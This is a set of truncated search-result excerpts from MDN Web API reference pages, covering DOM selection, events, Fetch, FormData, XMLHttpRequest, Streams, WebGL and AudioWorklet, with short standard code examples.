JavaScript also uses backspace escaping, special care must be taken when writing string literals using these characters. See Escaping special characters for more information. Return value A non-live NodeList containing one Element object for each descendant node that matches at least one of the specified selectors. Note: If the specified selectors include a CSS pseudo-element, the returned list is alwa...
...ement, such as: var highlightedItems = userList.querySelectorAll(".highlighted"); highlightedItems.forEach(function(userItem) { deleteUser(userItem); }); Note: NodeList is not a genuine array, that is to say it doesn't have the array methods like slice, some, map etc. To convert it into an array, try Array.from(nodeList). ...
...have the array methods like slice, some, map etc. To convert it into an array, try Array.from(nodeList). User notes querySelectorAll() behaves differently than most common
JavaScript DOM libraries, which might lead to unexpected results. HTML Consider this HTML, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div>
JavaScript var select = document.querySelector('.select'); var inner = select.querySelectorAll('.outer .inner'); inner.length; // 1, not 0! In this example, when selecting ".outer .inner" in the context the <div> with the class "select", the element with the class ".inner" is still found, even though .outer is not a descendant of the base element on which the search is performed (".select"). By default, ...
Event.preventDefault() - Web APIs
ion at once. As noted below, calling preventDefault() for a non-cancelable event, such as one dispatched via EventTarget.dispatchEvent(), without specifying cancelable: true has no effect. Syntax event.preventDefault(); Examples Blocking default click handling Toggling a checkbox is the default action of clicking on a checkbox. ...
...First, listen for keypress events: var myTextbox = document.getElementById('my-textbox'); myTextbox.addEventListener('keypress', checkName, false); The checkName() function, which looks at the pressed key and decides whether to allow it: function checkName(evt) { var charCode = evt.charCode; if (charCode != 0) { if (charCode < 97 || c...
...e enter your name using lowercase letters only.</p> <form> <input type="text" id="my-textbox"> </form> </div> CSS We use a little bit of CSS for the warning box we'll draw when the user presses an invalid key: .warning { border: 2px solid #f39389; border-radius: 2px; padding: 10px; position: absolute; background-color: #fbd8d4; color: #3b3c40; }
JavaScript And here's the
JavaScript code that does the job. First, listen for keypress events: var myTextbox = document.getElementById('my-textbox'); myTextbox.addEventListener('keypress', checkName, false); The checkName() function, which looks at the pressed key and decides whether to allow it: function checkName(evt) { var charCode = evt.charCode; if (charCode != 0) { if (charCode < 97 || charCode > 122) { evt.
Using Fetch - Web APIs
It also provides a global fetch() method that provides an easy, logical way to fetch resources asynchronously across the network. This kind of functionality was previously achieved using XMLHttpRequest. Fetch provides a better alternative that can be easily used by other technologies such as Service Workers. Fetch also provides a single logical place to define other HTTP-related concepts such as CORS and extensions to HTTP. The fetch specification differs from jQuery.ajax() in three main ways: The Promise returned from fetch() won't reject on HTTP error status even if the response is an HTTP 404 or 500. ...
...oded', }, redirect: 'follow', // manual, *follow, error referrerPolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url body: JSON.stringify(data) // body data type must match "Content-Type" header }); return response.json(); // parses JSON response into native
JavaScript objects } postData('https://example.com/answer', { answer: 42 }) .then(data => { console.log(data); // JSON data parsed by `data.json()` call }); Note that mode: "no-cors" only allows a limited set of headers in the request: Accept Accept-Language Content-Language Content-Type with a value of application/x-www-form-urlencoded, multipart/form-data, or text/plain Sending a reques...
... you'll use are: Response.status -- An integer (default value 200) containing the response status code. Response.statusText -- A string (default value "OK"), which corresponds to the HTTP status code message. Response.ok -- seen in use above, this is a shorthand for checking that status is in the range 200-299 inclusive. This returns a Boolean. ...
Using FormData Objects - Web APIs
var blob = new Blob([content], { type: "text/xml"}); formData.append("webmasterfile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://foo.com/submitform.php"); request.send(formData); Note: The fields "userfile" and "webmasterfile" both contain a file. The number assigned ...
... File, the value is converted to a string). This example builds a FormData instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the XMLHttpRequest method send() to send the form's data. The field "webmasterfile" is a Blob. A Blob object represents a file-like object of immutable, raw data. Blobs represent data that isn't necessarily in a
JavaScript-native format. The File interface is based on Blob, inheriting blob functionality and expanding it to support files on the user's system. In order to build a Blob you can invoke the Blob() constructor. Retrieving a FormData object from an HTML form To construct a FormData object that contains the data from an existing <form>, specify that form element when creating the FormData object: Note: ...
...after the entry list representing the form's data is constructed. This happens when the form is submitted, but can also be triggered by the invocation of a FormData() constructor. This allows a FormData object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself. ...
GlobalEventHandlers.onkeypress - Web APIs
dler has been deprecated. You may want to use onkeydown instead. Syntax target.onkeypress = functionRef; Value functionRef is a function name or a function expression. The function receives a KeyboardEvent object as its sole argument. Examples Basic example This example logs the KeyboardEvent.code value whenever you press a key inside the <input> element. ...
...<p id="log"></p>
JavaScript const input = document.querySelector('input'); const log = document.getElementById('log'); input.onkeypress = logKey; function logKey(e) { log.textContent += ` ${e.code}`; } Result Filter keys with a regular expression This example filters the characters typed into a form field using a regular expression. ...
... /* Type the word "exit" in any point of your page... ...
HTMLImageElement.sizes - Web APIs
let image = document.querySelector("article img"); let break40 = document.getElementById("break40"); let break50 = document.getElementById("...
... let image = document.querySelector("article img"); let break40 = document.getElementById("break40"); let break50 = document.getElementById("break50"); brea...
... padding: 1.5em; font: 16px "Open Sans", Verdana, Arial, Helvetica, sans-serif; } article img { display: block; max-width: 100%; border: 1px solid #888; box-shadow: 0 0.5em 0.3em #888; margin-bottom: 1.25em; }
JavaScript The
JavaScript code handles the two buttons that let you toggle the third width option between 40em and 50em; this is done by handling the click event, using the
JavaScript string object method replace() to replace the relevant portion of the sizes string. let image = document.querySelector("article img"); let break40 = document.getElementById("break40"); let break50 = document.getElementById("break50"); break40.addEventListener("click", event => image.sizes = image.sizes.replace(/50em,/, "40em,")); break50.addEventListener("click", event => image.sizes =...
HTMLElement.focus() - Web APIs
following property: preventScroll Optional A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur. ...
... preventScroll is set to true, no scrolling will occur. ...
...lick="focusMethod()">Click me to focus on the text field!</button> Result Focus on a button
JavaScript focusMethod = function getFocus() { document.getElementById("myButton").focus(); } HTML <button type="button" id="myButton">Click Me!</button> <p></p> <button type="button" onclick="focusMethod()">Click me to focus on the button!</button> Result Focus with focusOption
JavaScript focusScrollMethod = function getFocus() { document.getElementById("myButton").focus({preventScroll:false}); } focusNoScrollMethod = function getFocusWithoutScrolling() { document.getElementById("myButton").focus({preventScroll:true}); } HTML <button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button> <button type="button" onclick="foc...
HTMLScriptElement - Web APIs
If the script is blocked, its element receives an error event; otherwise, it receives a load event. ...
... HTML <script> elements expose the HTMLScriptElement interface, which provides special properties and methods for manipulating the behavior and execution of <script> elements (beyond the inherited HTMLElement interface).
JavaScript files should be served with the application/
javascript MIME type, but browsers are lenient and block them only if the script is served with an image type (image/*), video type (video/*), audio type (audio/*), or text/csv. If the script is blocked, its element receives an error event; otherwise, it receives a load event. <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120"...
...IDL attribute. Note: When inserted using the document.write() method, <script> elements execute (typically synchronously), but when inserted using innerHTML or outerHTML, they do not execute at all. HTMLScriptElement.noModule Is a Boolean that if true, stops the script's execution in browsers that support ES2015 modules -- used to run fallback scripts in older browsers that do not support
JavaScript modules. HTMLScriptElement.referrerPolicy Is a DOMString that reflects the referrerpolicy HTML attribute indicating which referrer to use when fetching the script, and fetches done by that script. Methods No specific methods; inherits methods from its parent, HTMLElement. Examples Dynamically importing scripts Let's create a function that imports new scripts within a document creating a ...
History.replaceState() - Web APIs
The History.replaceState() method modifies the current history entry, replacing it with the stateObj, title, and URL passed in the method parameters. This method is particularly useful when you want to update the state object or URL of the current history entry in response to some user action. Syntax history.replaceState(stateObj, title, [url]) Parameters stateObj The state object is a
JavaScript object which is associated with the history entry passed to the replaceState method. The state object can be null. title Most browsers currently ignore this parameter, although they may use it in the future. Passing the empty string here should be safe against future changes to the method. Alternatively, you could pass a short title for the state. url Optional The URL of the history entry. The n...
...gh they may use it in the future. Passing the empty string here should be safe against future changes to the method. Alternatively, you could pass a short title for the state. url Optional The URL of the history entry. The new URL must be of the same origin as the current URL; otherwise replaceState throws an exception. ...
... Suppose now that the user navigates to https://www.microsoft.com, then clicks the Back button. ...
Timing element visibility with the Intersection Observer API - Web APIs
yle: solid; border-width: 1px; } .ad:not(:last-child) { margin-bottom: 8px; } .ad h2 { margin-top: 0; } .ad div { position: relative; float: right; padding: 0 4px; height: 20px; width: 120px; font-size: 14px; bottom: 30px; border: 1px solid black; background-color: rgba(255, 255, 255, 0.5); } There's nothing magic in here. It's fairly basic CSS. Tying it together with
JavaScript That brings us to the
JavaScript code which makes everything work. Let's start with the global variables: let contentBox; let nextArticleID = 1; let visibleAds = new Set(); let previouslyVisibleAds = null; let adObserver; let refreshIntervalID = 0; These are used as follows: contentBox A reference to the <main> element's HTMLElement object in the DOM. This is where we'll insert the artic...
...he ad last became visible. 0 if the ad was not visible as of the last time it was checked. totalViewTime The total number of milliseconds the ad has been visible. These are accessed through each ad's HTMLElement.dataset attribute, which provides a DOMStringMap mapping each custom attribute's name to its value. The values are strings, but we can convert those to numbers easily enough--in fact,
JavaScript generally does it automatically, although we'll have one instance where we have to do it ourselves. We start by fetching the time at which the ad's previous visibility status check time (adBox.dataset.lastViewStarted) into a local variable named lastStarted. We also get the current time-since-creation value using performance.now() into currentTime. If lastStarted is non-zero--meaning the timer ...
...stStarted is non-zero--meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of milliseconds the timer has been visible since the last time it became visible. This is added to the current value of the ad's totalViewTime to bring the total up to date. Note the use of parseFloat() here; because these values are strings,
JavaScript tries to do a string concatenation instead of addition without it. Finally, the last-viewed time for the ad is updated to the current time. This is done whether the ad was running when this function was called or not; this causes the ad's timer to always be running when this function returns. This makes sense because this function is only called if the ad is visible, even if it's just now become...
KeyboardEvent.code - Web APIs
t.key property instead. Code values The code values for Windows, Linux, and macOS are list on the KeyboardEvent: code values page. Examples Exercising KeyboardEvent HTML <p>Press keys on the keyboard to see what the KeyboardEvent's key and code values are for each one.</p> <div id="output"> </div> CSS #output { font-family: Arial, Helvetica, sans-serif; border: 1px solid black; }
JavaScript window.addEventListener("keydown", function(event) { let str = "KeyboardEvent: key='" + event.key + "' | code='" + event.code + "'"; let el = document.createElement("span"); el.innerHTML = str + "<br/>"; document.getElementById("output").appendChild(el); }, true); Try it out To ensure that keystrokes go to the sample, click in the output box below before pressing keys. ...
...shipSize contains the size of the ship the player is moving around, for convenience. position is used to track the position of the ship within the play field. moveRate and turnRate are the number of pixels forward and backward each keystroke moves the ship and how many degrees of rotation the left and right steer...
...shipSize contains the size of the ship the player is moving around, for convenience. position is used to track the position of the ship within the play field. moveRate and turnRate are the number of pixels forward and backward each keystroke moves the ship and how many degrees of rotation the left and right steering controls apply per keystroke. ang...
MouseEvent.pageX - Web APIs
of the document at which the mouse was clicked, regardless of any scrolling or viewport positioning that may be in effect. This property was originally specified in the Touch Events specification as a long integer, but was redefined in the CSSOM View Module to be a double-precision floating-point number to allow for subpixel precision. Even though numeric types both are represented by Number in
JavaScript, they may be handled differently internally in the browser's code, resulting in potential behavior differences. See Browser compatibility to learn which browsers have been updated to use the revised data type. Example More examples You can also see an example that demonstrates how to access the mouse position information in every available coordinate system. Let's take a look at a simple exam...
...ta type. Example More examples You can also see an example that demonstrates how to access the mouse position information in every available coordinate system. Let's take a look at a simple example that shows you the mouse's position relative to the page's origin. Since this example is presented in an <iframe>, that top-left corner is the top-left corner of the frame, not the browser window. ...
... updateDisplay() simply replaces the contents of the <span> elements meant to contain the X and Y coordinates with the values of pageX and pageY. HTML <div class="box"> <p> Move the mouse around in this box to watch its coordinates change. </p>...
ParentNode.querySelectorAll() - Web APIs
atch against. This string must be a valid CSS selector string; if it's not, a SyntaxError exception is thrown. See Locating DOM elements using selectors for more information about using selectors to identify elements. Multiple selectors may be specified by separating them using commas. Note: Characters which are not part of standard CSS syntax must be escaped using a backslash character. Since
JavaScript also uses backslash escaping, special care must be taken when writing string literals using these characters. See Escaping special characters for more information. Return value A non-live NodeList containing one Element object for each descendant node that matches at least one of the specified selectors. Note: If the specified selectors include a CSS pseudo-element, the returned list is alwa...
... In this example, when selecting .outer .in...
...ner = document.querySelector("#userlist"); var matches = container.querySelectorAll("li[data-active=1]"); User notes querySelectorAll() behaves differently than most common
JavaScript DOM libraries, which might lead to unexpected results. HTML Consider this HTML, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div>
JavaScript var select = document.querySelector('.select'); var inner = select.querySelectorAll('.outer .inner'); inner.length; // 1, not 0! In this example, when selecting .outer .inner in the context the <div> with the class select, the element with the class .inner is still found, even though .outer is not a descendant of the base element on which the search is performed (.select). By default, querySel...
PromiseRejectionEvent - Web APIs
These events are particularly useful for telemetry and debugging purposes. For details on promise rejection events, see Promise rejection events in Using Promises. ...
...-baseline="middle">PromiseRejectionEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor PromiseRejectionEvent() Creates a PromiseRejectionEvent event, given the type of event (unhandledrejection or rejectionhandled) and other details. Properties Also inherits properties from its parent Event. PromiseRejectionEvent.promise Read only The
JavaScript Promise that was rejected. PromiseRejectionEvent.reason Read only A value or Object indicating why the promise was rejected, as passed to Promise.reject(). Methods This interface has no unique methods; inherits methods from its parent Event. Events rejectionhandled Fired when a
JavaScript Promise is rejected, and after the rejection is handled by the promise's rejection handling code. ...
...seRejectionEvent.reason Read only A value or Object indicating why the promise was rejected, as passed to Promise.reject(). Methods This interface has no unique methods; inherits methods from its parent Event. Events rejectionhandled Fired when a
JavaScript Promise is rejected, and after the rejection is handled by the promise's rejection handling code. unhandledrejection Fired when a
JavaScript Promise is rejected but there is no rejection handler to deal with the rejection. Examples This simple example catches unhandled promise rejections and logs them for debugging purposes. window.onunhandledrejection = function(e) { console.log(e.reason); } Specifications Specification Status Comment HTML Living StandardThe definition of 'PromiseRejectionEvent' in...
ShadowRoot.mode - Web APIs
Syntax var mode = shadowRoot.mode Value A value defined in the ShadowRootMode enum -- either open or closed. ...
... Syntax var mode = shadowRoot.mode Value A value defined in the ShadowRootMode enum -- either open or closed. ...
... Syntax var mode = shadowRoot.mode Value A value defined in the ShadowRootMode enum -- either open or closed. ...
Streams API concepts - Web APIs
The Streams API adds a very useful set of tools to the web platform, providing objects allowing
JavaScript to programmatically access streams of data received over the network and process them as desired by the developer. Some of the concepts and terminology associated with streams might be new to you -- this article explains all you need to know. Readable streams A readable stream is a data source represented in
JavaScript by a ReadableStream object that flows from an underlying source -- this is a resource somewhere on the network or elsewhere on your domain that you want to get data from. There are two types of underlying source: Push sources constantly push data at you when you've accessed them, and it is up to you to start, pause, or cancel access to the stream. Examples include video st...
... may change over time. You can make use of ready-made readable streams via mechanisms like a Response.body from a fetch request, or roll your own streams using the ReadableStream() constructor. Teeing Even though only a single reader can read a stream at once, it is possible to split a stream into two identical copies, which can then be read by two separate readers. This is called teeing. In
JavaScript, this is achieved via the ReadableStream.tee() method -- it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers. You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the ServiceWorker cache. Since a response bod...
...le in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the ServiceWorker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you'd need two copies to do this. Writable streams A writable stream is a destination into which you can write data, represented in
JavaScript by a WritableStream object. This serves as an abstraction over the top of an underlying sink -- a lower-level I/O sink into which raw data is written. The data is written to the stream via a writer, one chunk at a time. A chunk can take a multitude of forms, just like the chunks in a reader. You can use whatever code you like to produce the chunks ready for writing; the writer plus the associate...
A basic 2D WebGL animation example - Web APIs
1.0. This can be done easily enough by multiplying by a scaling factor that's based on the context's aspect ratio. We'll see that computation shortly. We're also rotating the shape, and we can do that here, by applying a transform. We'll do that first. The rotated position of the vertex is computed by applying the rotation vector, found in the uniform uRotationVector, that's been computed by the
JavaScript code. Then the final position is computed by multiplying the rotated position by the scaling vector provided by the
JavaScript code in uScalingFactor. The values of z and w are fixed at 0.0 and 1.0, respectively, since we're drawing in 2D. The standard WebGL global gl_Position is then set to the transformed and rotated vertex's position. Fragment shader Next comes the fragment shader. Its rol...
... is exceptionally simple: <script id="fragment-shader" type="x-shader/x-fragment"> #ifdef GL_ES precision highp float; #endif uniform vec4 uGlobalColor; void main() { gl_FragColor = uGlobalColor; } </script> This starts by specifying the precision of the float type, as required. Then we set the global gl_FragColor to the value of the uniform uGlobalColor, which is set by the
JavaScript code to the color being used to draw the square. HTML The HTML consists solely of the <canvas> that we'll obtain a WebGL context on. <canvas id="glcanvas" width="600" height="460"> Oh no! Your browser doesn't support canvas! </canvas>
JavaScript Globals and initialization First, the global variables. We won't discuss these here; instead, we'll talk about them as they're used in the code t...
...e first component of the rotation vector to the sine of that value and the second component to the cosine. The currentRotation vector is now the location of the point on the unit circle located at the angle currentAngle. useProgram() is called to activate the GLSL shading program we established previously. Then we obtain the locations of each of the uniforms used to share information between the
JavaScript code and the shaders (with getUniformLocation()). The uniform named uScalingFactor is set to the currentScale value previously computed; this, as you may recall, is the value used to adjust the coordinate system based on the aspect ratio of the context. This is done using uniform2fv() (since this is a 2-value floating-point vector). uRotationVector is set to the current rotation vector (current...
Data in WebGL - Web APIs
Shader programs have access to three kinds of data storage, each of which has a specific use case. Each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's
JavaScript code, depending on the specific type of variable. GLSL data types <<document the basic types, vectors, etc; see Data Type (GLSL) on the Khronos WebGL wiki>> GLSL variables There are three kinds of "variable" or data storage available in GLSL, each of which with its own purpose and use cases: attributes, varyings, and uniforms. Attributes Attributes are GLSL variables which are only available to the vertex shader (as variables) and the
JavaScript code. Attributes are typically used to store color information, texture coordinates, and any oth...
...storage available in GLSL, each of which with its own purpose and use cases: attributes, varyings, and uniforms. Attributes Attributes are GLSL variables which are only available to the vertex shader (as variables) and the
JavaScript code. Attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the
JavaScript code and the vertex shader. //init colors var vertexColors = [ vec4( 0.0, 0.0, 0.0, 1.0 ), // black vec4( 1.0, 0.0, 0.0, 1.0 ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow vec4( 0.0, 1.0, 0.0, 1.0 ), // green vec4( 0.0, 0.0, 0.0, 1.0 ), // black vec4( 1.0, 0.0, 0.0, 1.0 ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow v...
...ertexAttribArray( vColor ); //glsl attribute vec4 vColor; void main() { fColor = vColor; } Varyings Varyings are variables that are declared by the vertex shader and used to pass data from the vertex shader to the fragment shader. This is commonly used to share a vertex's normal vector after it has been computed by the vertex shader. <<how to use>> Uniforms Uniforms are set by the
JavaScript code and are available to both the vertex and fragment shaders. They're used to provide values that will be the same for everything drawn in the frame, such as lighting positions and magnitudes, global transformation and perspective details, and so forth. <<add details>> Buffers <<add information>> Textures <<add information>> ...
Matrix math for the web - Web APIs
the WebXR (VR and AR) API, and GLSL shaders. This article is also available as an MDN content kit. The live examples use a collection of utility functions available under a global object named MDN. Transformation matrices There are many types of matrices, but the ones we are interested in are the 3D transformation matrices. These matrices consist of a set of 16 values arranged in a 4x4 grid. ...
...Since a 3D point only needs three values (x, y, and z), and the transformation matrix is a 4x4 value matrix, we need to add a fourth dimension to the point. ...
...Lorem ipsum dolor sit amet, consectetur adipisicing elit...</p> </div> Finally, for each of the examples we will generate a 4x4 matrix, then update the <div>'s style to have a transform applied to it, set to a matrix3d. Bear in mind that even though the matrix is made up of 4 rows and 4 columns, it collapses into a single line of 16 values. Matrices are always stored in one-dimensional lists in
JavaScript. // Create the matrix3d style property from a matrix array function matrixArrayToCssMatrix(array) { return 'matrix3d(' + array.join(',') + ')'; } // Grab the DOM element let moveMe = document.getElementById('move-me'); // Returns a result like: "matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 50, 100, 0, 1);" let matrix3dRule = matrixArrayToCssMatrix(translationMatrix); // Set the transform m...
Adding 2D content to a WebGL context - Web APIs
his const shaderProgram = initShaderProgram(gl, vsSource, fsSource); After we've created a shader program we need to look up the locations that WebGL assigned to our inputs. In this case we have one attribute and two uniforms. Attributes receive values from buffers. Each iteration of the vertex shader receives the next value from the buffer assigned to that attribute. Uniforms are similar to
JavaScript global variables. They stay the same value for all iterations of a shader. Since the attribute and uniform locations are specific to a single shader program we'll store them together to make them easy to pass around const programInfo = { program: shaderProgram, attribLocations: { vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'), }, uniformLocations: ...
... positionBuffer as the one to apply buffer // operations to from here out. gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); // Now create an array of positions for the square. const positions = [ -1.0, 1.0, 1.0, 1.0, -1.0, -1.0, 1.0, -1.0, ]; // Now pass the list of positions into WebGL to build the // shape. We do this by creating a Float32Array from the //
JavaScript array, then use it to fill the current buffer. gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW); return { position: positionBuffer, }; } This routine is pretty simplistic given the basic nature of the scene in this example. It starts by calling the gl object's createBuffer() method to obtain a buffer into which we'll store t...
...ns), gl.STATIC_DRAW); return { position: positionBuffer, }; } This routine is pretty simplistic given the basic nature of the scene in this example. It starts by calling the gl object's createBuffer() method to obtain a buffer into which we'll store the vertex positions. This is then bound to the context by calling the bindBuffer() method. Once that's done, we create a
JavaScript array containing the position for each vertex of the square plane. This is then converted into an array of floats and passed into the gl object's bufferData() method to establish the vertex positions for the object. Rendering the scene Once the shaders are established, the locations are looked up, and the square plane's vertex positions put in a buffer, we can actually render the scene. Since w...
WebGL model view projection - Web APIs
= point[0]; let y = point[1]; let z = point[2]; let w = point[3]; return [x/w, y/w, z/w]; } As previously mentioned and shown in the functions above, the w component divides the x, y, and z components. When the w component is a non-zero real number then homogeneous coordinate easily translates back into a normal point in Cartesian space. Now what happens if the w component is zero? In
JavaScript the value returned would be as follows. homogeneousToCartesian([10, 4, 5, 0]); This evaluates to: [Infinity, Infinity, Infinity]. This homogeneous coordinate represents some point at infinity. This is a handy way to represent a ray shooting off from the origin in a specific direction. In addition to a ray, it could also be thought of as a representation of a directional vector. If this homoge...
... every surface of the model as well. In this case, for every frame of the animation a series of scale, rotation, and translation matrices move the data into the desired spot in clip space. The cube is the size of clip space (-1,-1,-1) to (1,1,1) so it will need to be shrunk down in order to not fill the entirety of clip space. This matrix is sent directly to the shader, having been multiplied in
JavaScript beforehand. The following code sample defines a method on the CubeDemo object that will create the model matrix. It uses custom functions to create and multiply matrices as defined in the MDN WebGL shared code. The new function looks like this: CubeDemo.prototype.computeModelMatrix = function(now) { //Scale down by 50% var scale = MDN.scaleMatrix(0.5, 0.5, 0.5); // Rotate a slight tilt ...
... 'model'); And finally the uniform is set to that location. This hands off the matrix to the GPU. gl.uniformMatrix4fv(this.locations.model, false, new Float32Array(this.transforms.model)); In the shader, each position vertex is first transformed into a homogeneous coordinate (a vec4 object), and then multiplied against the model matrix. gl_Position = model * vec4(position, 1.0); Note: In
JavaScript, matrix multiplication requires a custom function, while in the shader it is built into the language with the simple * operator. The results View on JSFiddle At this point the w value of the transformed point is still 1.0. The cube still doesn't have any perspective. The next section will take this setup and modify the w values to provide some perspective. Exercises Shrink down the box ...
WebGL: 2D and 3D graphics for the web - Web APIs
WebGL does so by introducing an API that closely conforms to OpenGL ES 2.0 that can be used in HTML5 <canvas> elements. This conformance makes it possible for the API to take advantage of hardware graphics acceleration provided by the user's device. Support for WebGL is present in Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+, Internet Explorer 11+, and Microsoft Edge build 10240+; however, the user's device must also have hardware that supports these features. ...
... that introduces the basics of WebGL. This is a great place to start if you've never done low-level graphics programming. Khronos WebGL site The main web site for WebGL at the Khronos Group. WebGL Fundamentals A basic tutorial with fundamentals of WebGL. WebGL playground An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting. WebGL Academy An HTML/
JavaScript editor with tutorials to learn basics of webgl programming. WebGL Stats A site with statistics about WebGL capabilities in browsers on different platforms. Libraries glMatrix is a
JavaScript matrix and vector library for high-performance WebGL apps. PhiloGL is a WebGL framework for data visualization, creative coding, and game development. Pixi.js is a fast, open-source 2D WebGL renderer.
...2D WebGL renderer. PlayCanvas is an open-source game engine. Sylvester is an open-source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust. three.js is an open-source, fully featured 3D WebGL library. Phaser is a fast, free and fun open source framework for Canvas and WebGL powered browser games. RedGL is an open-source 3D WebGL library. vtk.js is a
JavaScript library for scientific visualization in your browser. Specifications Specification Status Comment OpenGL ES 3.0 Standard OpenGL ES 2.0 Standard WebGL 2.0 Editor's Draft Builds on top of WebGL 1. Based on OpenGL ES 3.0. WebGL 1.0 Recommendation Initial definition. Based on OpenGL ES 2.0 ...
Background audio processing using AudioWorklet - Web APIs
When the Web Audio API was first introduced to browsers, it included the ability to use
JavaScript code to create custom audio processors that would be invoked to perform real-time audio manipulations. The drawback to ScriptProcessorNode was simple: it ran on the main thread, thus blocking everything else going on until it completed execution. This was far less than ideal, especially for something that can be as computationally expensive as audio processing. Enter AudioWorklet. An audio context's audio worklet is a Worklet which runs off the main thread, executing audio processing code added to it by calling the context's audioWorklet.addModule() method. Calling addModule() loads the specified
JavaScript file, which should contain the implementation of the audio processor. With the processor regis...
...addModule() method. Calling addModule() loads the specified
JavaScript file, which should contain the implementation of the audio processor. With the processor registered, you can create a new AudioWorkletNode which passes the audio through the processor's code when the node is linked into the chain of audio nodes along with any other audio nodes. The process of creating an audio processor using
JavaScript, establishing it as an audio worklet processor, and then using that processor within a Web Audio application is the topic of this article. It's worth noting that because audio processing can often involve substantial computation, your processor may benefit greatly from being built using WebAssembly, which brings near-native or fully native performance to web apps. Implementing your audio process...
...are available to allow controlling the gain of both the oscillator and the audio worklet's output. Glitch Project Page See the Code Try it Live Creating an audio worklet processor Fundamentally, an audio worklet processor (which we'll refer to usually as either an "audio processor" or simply as a "processor" because otherwise this article will be about twice as long) is implemented using a
JavaScript module that defines and installs the custom audio processor class. Structure of an audio worklet processor An audio worklet processor is a
JavaScript module which consists of the following: A
JavaScript class which defines the audio processor. This class extends the AudioWorkletProcessor class. The audio processor class must implement a process() method, which receives incoming audio data a...
Functions and classes available to Web Workers - Web APIs
This article provides a list of those. Workers run in another global context, DedicatedWorkerGlobalScope, different from the current window. By default, methods and properties of Window are not available to them, but DedicatedWorkerGlobalScope, like Window, implements WindowTimers and WindowBase64. ...
...ents timing-related performance information for the given page. 34.0 (34.0) No support 33.0 No support PerformanceEntry, PerformanceMeasure, PerformanceMark, PerformanceObserver, PerformanceResourceTiming Enables retrieval and analysis of detailed data regarding various aspects of an application's network performance. (Yes) (Yes) (Yes) (Yes) Promise
JavaScript objects that allow you to write asynchronous functions. 28 (28) (Yes) (Yes) (Yes) Server-sent events Allows a server to push data to a web page at any point, after a connection has been opened to it. 53 (53) (currently only available in dedicated and shared workers; not service workers.) ? (Yes) ? ServiceWorkerRegistration You can register a service...
... Workers can use the static methods URL.createObjectURL and URL.revokeObjectURL with Blob objects accesible to the worker. Workers can also create a new URL using the URL() constructor and call any normal method on the returned object. 21 (21) and 26 (26) for URL() constructor No support No support No support WebGL with OffscreenCanvas WebGL (Web Graphics Library) is a
JavaScript API for rendering interactive 3D and 2D graphics within any compatible web browser without the use of plug-ins. 44 (44) behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true. No support No support No support WebSocket Creates and returns a new WebSocket object; this mimics the behavior of the standard WebSocket() constructor. 37 ...
WindowEventHandlers.onbeforeunload - Web APIs
Specifications The event was originally introduced by Microsoft in Internet Explorer 4 and s...
... Specifications The event was originally introduced by Microsoft in Internet Explorer 4 and standardized in the HTML5 specifica...
...er('beforeunload', function (e) { // the absence of a returnValue property on the event will guarantee the browser unload happens delete e['returnValue']; }); Notes When your page uses
JavaScript to render content, the
JavaScript may stop when leaving and then navigating back to the page. You can bind to window.onbeforeunload to prevent the browser from fully caching the page. If you do so,
JavaScript in the page will be triggered on the subsequent return visit and update the content as desired. Specifications The event was originally introduced by Microsoft in Internet Explorer 4 and standardized in the HTML5 specification. Specification Status Comment HTML Living StandardThe definition of 'onbeforeunload' in that specification. Living Standard H...
XMLHttpRequest.response - Web APIs
Syntax var body = XMLHttpRequest.response; Value An appropriate object based on the value of responseType. You may attempt to request the data be provided in a specific format by setting the value of responseType after calling open() to initialize the request but before calling send() to send the request to the server. ...
... yet complete or was unsuccessful, with the exception that when reading text data using a responseType of "text" or the empty string (""), the response can contain the response so far while the request is still in the LOADING readyState (3). The response types are described below. "" An empty responseType string is treated the same as "text", the default type. ...
... text The response is a text in a DOMString object. ms-stream The response is part of a streaming download; this response type is only allowed for download requests, and is only supported by Internet Explorer. ...
XMLHttpRequest - Web APIs
r method calls. Properties This interface also inherits properties of XMLHttpRequestEventTarget and of EventTarget. XMLHttpRequest.onreadystatechange An EventHandler that is called whenever the readyState attribute changes. XMLHttpRequest.readyState Read only Returns an unsigned short, the state of the request. XMLHttpRequest.response Read only Returns an ArrayBuffer, Blob, Document,
JavaScript object, or a DOMString, depending on the value of XMLHttpRequest.responseType, that contains the response entity body. XMLHttpRequest.responseText Read only Returns a DOMString that contains the response to the request as text, or null if the request was unsuccessful or has not yet been sent. XMLHttpRequest.responseType Is an enumerated value that defines the response type. XMLHttpRequest.r...
